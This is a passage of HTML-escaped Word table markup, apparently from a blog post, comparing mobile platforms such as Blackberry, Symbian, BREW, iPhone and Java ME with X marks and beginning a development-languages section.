solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 6;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Blackberry&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 7;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Symbian&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 8;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;BREW&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 9;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;iPhone&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 10;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Java ME&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 11;"&gt;   &lt;td colspan="10" style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 100.0%;" valign="top" width="100%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;i&gt;&lt;u&gt;Development   Languages&lt;o:p&gt;&lt;/o:p&gt;&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 12;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;C++&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; 